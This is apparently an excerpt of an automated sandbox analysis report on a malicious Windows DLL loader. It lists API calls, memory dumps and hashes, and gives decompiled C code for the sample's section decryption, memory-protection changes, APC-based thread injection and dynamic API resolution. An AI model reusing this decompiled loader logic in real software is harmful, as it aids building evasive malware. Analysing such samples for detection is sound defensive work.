Part of subcall function 6E141F10: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6E141F56

GetSystemTime.KERNEL32(?,74B063F0,00000000), ref: 6E141CA1
SwitchToThread.KERNEL32 ref: 6E141CA7

Part of subcall function 6E1418AD: VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 6E141903
Part of subcall function 6E1418AD: memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 6E1419C9

Sleep.KERNELBASE(00000000,00000000), ref: 6E141CCA
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6E141D12
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6E141D30
WaitForSingleObject.KERNEL32(00000000,000000FF,6E1414E8,?,00000000), ref: 6E141D62
GetExitCodeThread.KERNEL32(00000000,?), ref: 6E141D76
CloseHandle.KERNEL32(00000000), ref: 6E141D7D
GetLastError.KERNEL32(6E1414E8,?,00000000), ref: 6E141D85
GetLastError.KERNEL32 ref: 6E141D98

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThread$AllocCloseCodeCreateCurrentEventExitHandleObjectOpenSingleSleepSwitchSystemTimeVersionVirtualWaitmemcpy
String ID:
API String ID: 1962885430-0
Opcode ID: 94c7d7b33350b246b82846e8496c1d87e2214943410ab91d0dad2683eb32677d
Instruction ID: f7cfcce07370754cad4a63e65545bae0aeb13c3517bc97e0b6bb96c8e720684c
Opcode Fuzzy Hash: 94c7d7b33350b246b82846e8496c1d87e2214943410ab91d0dad2683eb32677d
Instruction Fuzzy Hash: 4F31A5B1604B51DBC751FFA5884C99F77EDAB96354F104A2AF8A4C3340E730C899A7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6E141144, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6E141144(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6E142210();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6e1441d0;
				_push(_t15 + 0x6e14505e);
				_push(_t15 + 0x6e145054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6E14220A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x6e1441c0, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x6e141144
0x6e14114d
0x6e141151
0x6e141157
0x6e14115c
0x6e141161
0x6e141164
0x6e141167
0x6e14116c
0x6e14116d
0x6e141170
0x6e14117b
0x6e141182
0x6e141186
0x6e141188
0x6e141189
0x6e14118c
0x6e141191
0x6e14119b
0x6e14119d
0x6e14119d
0x6e1411b1
0x6e1411b7
0x6e1411bb
0x6e14120b
0x6e1411bd
0x6e1411c6
0x6e1411dc
0x6e1411e4
0x6e1411f6
0x6e1411fa
0x00000000
0x00000000
0x6e1411e6
0x6e1411e9
0x6e1411ee
0x6e1411f0
0x6e1411f0
0x6e1411d1
0x6e1411d3
0x6e1411fc
0x6e1411fd
0x6e1411fd
0x6e1411c6
0x6e141213

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?,?), ref: 6E141151
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6E141167
_snwprintf.NTDLL ref: 6E14118C
CreateFileMappingW.KERNELBASE(000000FF,6E1441C0,00000004,00000000,?,?), ref: 6E1411B1
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?), ref: 6E1411C8
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 6E1411DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?), ref: 6E1411F4
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A), ref: 6E1411FD
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6E14156A,0000000A,?), ref: 6E141205

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 774438d35838ceb029e83b573261d442fd8628dff66acbe22f2b58db56a5fd60
Instruction ID: b7bbc3113616d37aa04b8aec1e2873fca7a0936bdd04210f33c7facb3315dca7
Opcode Fuzzy Hash: 774438d35838ceb029e83b573261d442fd8628dff66acbe22f2b58db56a5fd60
Instruction Fuzzy Hash: 8A2171F2600108FFDB11AFE8CC88E9E7BA9EB59354F214225F615E7340D6305996EB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E17A041, Relevance: 9.2, APIs: 6, Instructions: 200COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6E17A06D
__cftoe.LIBCMT ref: 6E17A09F

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 3b7bfdf3e9ce2df580576bd979ce5e4c84be1828df2152b5f5db1e60233bfe65
Instruction ID: f0df66e82335e83d4615c3e921109dace5a565261ed204503dc6f0ad7a216ef1
Opcode Fuzzy Hash: 3b7bfdf3e9ce2df580576bd979ce5e4c84be1828df2152b5f5db1e60233bfe65
Instruction Fuzzy Hash: C651F832504205ABEF718FE88C40EDF77BDAF59B24F304919E82597190EB35D9C0AA64

Uniqueness

Uniqueness Score: -1.00%

Function 6E141060, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E141060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E6E141B58(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x6e1441d0 + 0x6e145014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x6e1441d0 + 0x6e1450e1);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E6E14142F(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x6e1441d0 + 0x6e1450f1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x6e1441d0 + 0x6e145104);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x6e1441d0 + 0x6e145119);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x6e1441d0 + 0x6e14512f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E6E141B9C(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x6e14106e
0x6e141072
0x6e141133
0x6e141078
0x6e141090
0x6e14109f
0x6e1410a6
0x6e1410aa
0x6e1410ad
0x6e14112b
0x6e14112c
0x6e1410af
0x6e1410bc
0x6e1410c0
0x6e1410c3
0x00000000
0x6e1410c5
0x6e1410d2
0x6e1410d6
0x6e1410d9
0x00000000
0x6e1410db
0x6e1410e8
0x6e1410ec
0x6e1410ef
0x00000000
0x6e1410f1
0x6e1410fe
0x6e141102
0x6e141105
0x00000000
0x6e141107
0x6e14110d
0x6e141113
0x6e141118
0x6e14111f
0x6e141122
0x00000000
0x6e141124
0x6e141127
0x6e141127
0x6e141122
0x6e141105
0x6e1410ef
0x6e1410d9
0x6e1410c3
0x6e1410ad
0x6e141141

APIs

Part of subcall function 6E141B58: HeapAlloc.KERNEL32(00000000,?,6E141702,?,00000000,00000000,?,?,?,6E141CE6), ref: 6E141B64

GetModuleHandleA.KERNEL32(?,00000020,00000002,?,?,?,?,6E141480,?,?,?,?,00000002,00000000,?,?), ref: 6E141084
GetProcAddress.KERNEL32(00000000,?), ref: 6E1410A6
GetProcAddress.KERNEL32(00000000,?), ref: 6E1410BC
GetProcAddress.KERNEL32(00000000,?), ref: 6E1410D2
GetProcAddress.KERNEL32(00000000,?), ref: 6E1410E8
GetProcAddress.KERNEL32(00000000,?), ref: 6E1410FE

Part of subcall function 6E141B9C: NtCreateSection.NTDLL(00000002,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 6E141BF9
Part of subcall function 6E141B9C: memset.NTDLL ref: 6E141C1B

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: e346d6eceb81d78ecb6e2849c65dfff203e0edf8238877e46ded08cc2939eb73
Instruction ID: c118ddfe184ec21605c6f84b700f51d2e573510feb4597997657bbf0c4c63ab8
Opcode Fuzzy Hash: e346d6eceb81d78ecb6e2849c65dfff203e0edf8238877e46ded08cc2939eb73
Instruction Fuzzy Hash: 6C2180F160060ADFDB40EFA9DC80D9A7BFCFB55A44B108425E945E7301E730E956AB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E141DAE, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x6e144188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x6e14418c;
						if( *0x6e14418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x6e144198;
								if( *0x6e144198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x6e14418c);
						}
						HeapDestroy( *0x6e144190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x6e144188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x6e144190 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x6e1441b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E6E1413D1(E6E1420CE, E6E14121C(_a12, 1, 0x6e144198, _t41));
							 *0x6e14418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x6e141db1
0x6e141dbd
0x6e141dbf
0x6e141dc2
0x6e141e38
0x6e141e3e
0x6e141e40
0x6e141e42
0x6e141e48
0x6e141e4a
0x6e141e4f
0x6e141e52
0x6e141e5d
0x6e141e5f
0x00000000
0x00000000
0x6e141e61
0x6e141e64
0x6e141e66
0x00000000
0x00000000
0x00000000
0x6e141e66
0x6e141e6e
0x6e141e6e
0x6e141e7a
0x6e141e7a
0x6e141dc4
0x6e141dc5
0x6e141de5
0x6e141deb
0x6e141ded
0x6e141df2
0x6e141e2e
0x6e141e2e
0x6e141df4
0x6e141dfc
0x6e141e03
0x6e141e0d
0x6e141e19
0x6e141e20
0x6e141e25
0x6e141e2a
0x00000000
0x6e141e2a
0x6e141e25
0x6e141df2
0x6e141dc5
0x6e141e87

APIs

InterlockedIncrement.KERNEL32(6E144188), ref: 6E141DD0
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 6E141DE5

Part of subcall function 6E1413D1: CreateThread.KERNELBASE ref: 6E1413E8
Part of subcall function 6E1413D1: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6E1413FD
Part of subcall function 6E1413D1: GetLastError.KERNEL32(00000000), ref: 6E141408
Part of subcall function 6E1413D1: TerminateThread.KERNEL32(00000000,00000000), ref: 6E141412
Part of subcall function 6E1413D1: CloseHandle.KERNEL32(00000000), ref: 6E141419
Part of subcall function 6E1413D1: SetLastError.KERNEL32(00000000), ref: 6E141422

InterlockedDecrement.KERNEL32(6E144188), ref: 6E141E38
SleepEx.KERNEL32(00000064,00000001), ref: 6E141E52
CloseHandle.KERNEL32 ref: 6E141E6E
HeapDestroy.KERNEL32 ref: 6E141E7A

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: a9b38e851b524251e59b3b493b9b23aff16cdc29286a351817961f69ef19279e
Instruction ID: ceec47305950a85f597d5fb5e927a9a2ac5386985ab5b551b94373b6b7553d46
Opcode Fuzzy Hash: a9b38e851b524251e59b3b493b9b23aff16cdc29286a351817961f69ef19279e
Instruction Fuzzy Hash: 7A219679700A05EFDB02AFE9CC4894E7BA9F766B647208525F505E3340D730A99AFB60

Uniqueness

Uniqueness Score: -1.00%

Function 6E1413D1, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E1413D1(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x6e1441cc, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x6e1413e8
0x6e1413ee
0x6e1413f2
0x6e1413fd
0x6e141405
0x6e14140e
0x6e141412
0x6e141419
0x6e141420
0x6e141422
0x6e141428
0x6e141405
0x6e14142c

APIs

CreateThread.KERNELBASE ref: 6E1413E8
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 6E1413FD
GetLastError.KERNEL32(00000000), ref: 6E141408
TerminateThread.KERNEL32(00000000,00000000), ref: 6E141412
CloseHandle.KERNEL32(00000000), ref: 6E141419
SetLastError.KERNEL32(00000000), ref: 6E141422

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: 196dd43062e0deb6ecad35d95a375f37c01573d880e74e1230263f53b00fb4aa
Instruction ID: 6411202a277c1bb0cac08d36dba80a087a4ad47bc5bcb6df8470bdc87f126ff1
Opcode Fuzzy Hash: 196dd43062e0deb6ecad35d95a375f37c01573d880e74e1230263f53b00fb4aa
Instruction Fuzzy Hash: A3F0F836205A21FBDB236FE09C0CF9FBA69FF0A751F148604F60992350C7218856ABA5

Uniqueness

Uniqueness Score: -1.00%

Function 6E181BFD, Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B), ref: 6E17FC1E

_free.LIBCMT ref: 6E181D08
_free.LIBCMT ref: 6E181D1F
_free.LIBCMT ref: 6E181D3E
_free.LIBCMT ref: 6E181D59
_free.LIBCMT ref: 6E181D70

Memory Dump Source

Source File: 00000003.00000002.615925831.000000006E14E000.00000020.00020000.sdmp, Offset: 6E14E000, based on PE: false

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 079b205e4638a7e49c5bcf464b552d838f48baaea8ca5331d0b471dd7cebc120
Instruction ID: b54ac80f585249141bb775bcebece30b7fa973b39e6f877ec66ffee3137a2a48
Opcode Fuzzy Hash: 079b205e4638a7e49c5bcf464b552d838f48baaea8ca5331d0b471dd7cebc120
Instruction Fuzzy Hash: 96511672A00605AFDB21CFA9C850BAB77F9EF59720B204659E869DB250E731D984EF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E1418AD, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6E1418AD(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				char _v12;
				void* _v16;
				unsigned int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				signed char _v44;
				void* _v48;
				signed int _v56;
				signed int _v60;
				intOrPtr _t50;
				void* _t57;
				void* _t61;
				signed int _t67;
				signed char _t69;
				signed char _t70;
				void* _t76;
				intOrPtr _t77;
				unsigned int _t82;
				intOrPtr _t86;
				intOrPtr* _t89;
				intOrPtr _t90;
				void* _t91;
				signed int _t93;

				_t90 =  *0x6e1441b0;
				_t50 = E6E141000(_t90,  &_v28,  &_v20);
				_v24 = _t50;
				if(_t50 == 0) {
					asm("sbb ebx, ebx");
					_t67 =  ~( ~(_v20 & 0x00000fff)) + (_v20 >> 0xc);
					_t91 = _t90 + _v28;
					_v48 = _t91;
					_t57 = VirtualAlloc(0, _t67 << 0xc, 0x3000, 4); // executed
					_t76 = _t57;
					_v36 = _t76;
					if(_t76 == 0) {
						_v24 = 8;
					} else {
						_t69 = 0;
						if(_t67 <= 0) {
							_t77 =  *0x6e1441cc;
						} else {
							_t86 = _a4;
							_v8 = _t91;
							_v8 = _v8 - _t76;
							_t14 = _t86 + 0x6e145137; // 0x3220a9c2
							_t61 = _t57 - _t91 + _t14;
							_v16 = _t76;
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t70 = _t69 + 1;
								_v44 = _t70;
								_t82 = (_v60 ^ _v56) + _v28 + _a4 >> _t70;
								if(_t82 != 0) {
									_v32 = _v32 & 0x00000000;
									_t89 = _v16;
									_v12 = 0x400;
									do {
										_t93 =  *((intOrPtr*)(_v8 + _t89));
										_v40 = _t93;
										if(_t93 == 0) {
											_v12 = 1;
										} else {
											 *_t89 = _t93 + _v32 - _t82;
											_v32 = _v40;
											_t89 = _t89 + 4;
										}
										_t33 =  &_v12;
										 *_t33 = _v12 - 1;
									} while ( *_t33 != 0);
								}
								_t69 = _v44;
								_t77 =  *((intOrPtr*)(_t61 + 0xc)) -  *((intOrPtr*)(_t61 + 8)) +  *((intOrPtr*)(_t61 + 4));
								_v16 = _v16 + 0x1000;
								 *0x6e1441cc = _t77;
							} while (_t69 < _t67);
						}
						if(_t77 != 0x63699bc3) {
							_v24 = 0xc;
						} else {
							memcpy(_v48, _v36, _v20);
						}
						VirtualFree(_v36, 0, 0x8000); // executed
					}
				}
				return _v24;
			}

0x6e1418b4
0x6e1418c4
0x6e1418cb
0x6e1418ce
0x6e1418e3
0x6e1418ea
0x6e1418ef
0x6e141900
0x6e141903
0x6e141909
0x6e14190d
0x6e141910
0x6e1419ec
0x6e141916
0x6e141916
0x6e14191a
0x6e1419b2
0x6e141920
0x6e141921
0x6e141926
0x6e141929
0x6e14192c
0x6e14192c
0x6e141933
0x6e141936
0x6e14193e
0x6e14193f
0x6e141940
0x6e141947
0x6e14194b
0x6e141951
0x6e141955
0x6e141957
0x6e14195b
0x6e14195e
0x6e141965
0x6e141968
0x6e14196d
0x6e141970
0x6e141986
0x6e141972
0x6e14197c
0x6e14197e
0x6e141981
0x6e141981
0x6e14198d
0x6e14198d
0x6e14198d
0x6e141965
0x6e141998
0x6e14199b
0x6e14199e
0x6e1419a7
0x6e1419a7
0x6e1419af
0x6e1419be
0x6e1419d3
0x6e1419c0
0x6e1419c9
0x6e1419ce
0x6e1419e4
0x6e1419e4
0x6e1419f3
0x6e1419f9

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00000000), ref: 6E141903
memcpy.NTDLL(?,?,?,?,?,?,00000000), ref: 6E1419C9
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000), ref: 6E1419E4

Strings

Jun 6 2021, xrefs: 6E141936

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Jun 6 2021
API String ID: 4010158826-1013970402
Opcode ID: 1e7d719d5c2f3d630a4faf10246fd9461d12b7d05b61da1d0ef114523231efea
Instruction ID: 467f277cf9e2a19935d4e7e44c095c1e661f3bbb7216cc30b93df9f2a25cf0fa
Opcode Fuzzy Hash: 1e7d719d5c2f3d630a4faf10246fd9461d12b7d05b61da1d0ef114523231efea
Instruction Fuzzy Hash: 4D415C71E0021ADFDB04CFD9C880ADEBBB5BF59310F248129D90577344D775AA9ADB90

Uniqueness

Uniqueness Score: -1.00%

Function 6E1420CE, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6E1420CE(void* __ecx, intOrPtr _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6E141C7D(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6e1420d7
0x6e1420dc
0x6e1420ea
0x6e1420ef
0x6e1420ef
0x6e1420f5
0x6e1420fa
0x6e1420fe
0x6e142102
0x6e142102
0x6e14210c
0x6e142115

APIs

GetCurrentThread.KERNEL32 ref: 6E1420D1
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6E1420DC
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6E1420EF
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6E142102

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: 7606c1ae9cde78bb59c84eb0b2c5b97767e3aeb5f18c9f7d6838a096a09905f0
Instruction ID: 5161470d63e5983c85f2d84fd9aa33c2304a2b5fdc5a33471f4644e413ef04f0
Opcode Fuzzy Hash: 7606c1ae9cde78bb59c84eb0b2c5b97767e3aeb5f18c9f7d6838a096a09905f0
Instruction Fuzzy Hash: C0E09B71305A11AB96126B694C88D6FA75CDF92330B110335F524D33D0CB544C86E5A5

Uniqueness

Uniqueness Score: -1.00%

Function 6E14126D, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6E14126D(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x6e1441cc;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x6e141277
0x6e141284
0x6e14128a
0x6e141296
0x6e1412a6
0x6e1412a8
0x6e1412b0
0x6e141345
0x6e14134c
0x00000000
0x00000000
0x00000000
0x6e1412b6
0x6e1412b6
0x6e1412b6
0x6e1412ba
0x00000000
0x00000000
0x6e1412c6
0x6e1412ca
0x6e1412ee
0x6e1412f2
0x6e141306
0x6e141306
0x6e14130c
0x6e14131b
0x6e14131f
0x6e141327
0x6e141327
0x6e14132f
0x6e141332
0x6e14133f
0x00000000
0x00000000
0x00000000
0x00000000
0x6e14133f
0x6e1412fa
0x6e1412fe
0x6e141304
0x00000000
0x00000000
0x00000000
0x6e141304
0x6e1412d2
0x6e1412d6
0x6e1412e0
0x6e1412d8
0x6e1412d8
0x6e1412d8
0x00000000
0x6e1412d6
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,00000002), ref: 6E1412A6
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6E14131B
GetLastError.KERNEL32 ref: 6E141321

Memory Dump Source

Source File: 00000003.00000002.615703318.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000003.00000002.615660868.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615746194.000000006E143000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.615798170.000000006E145000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.615855630.000000006E146000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
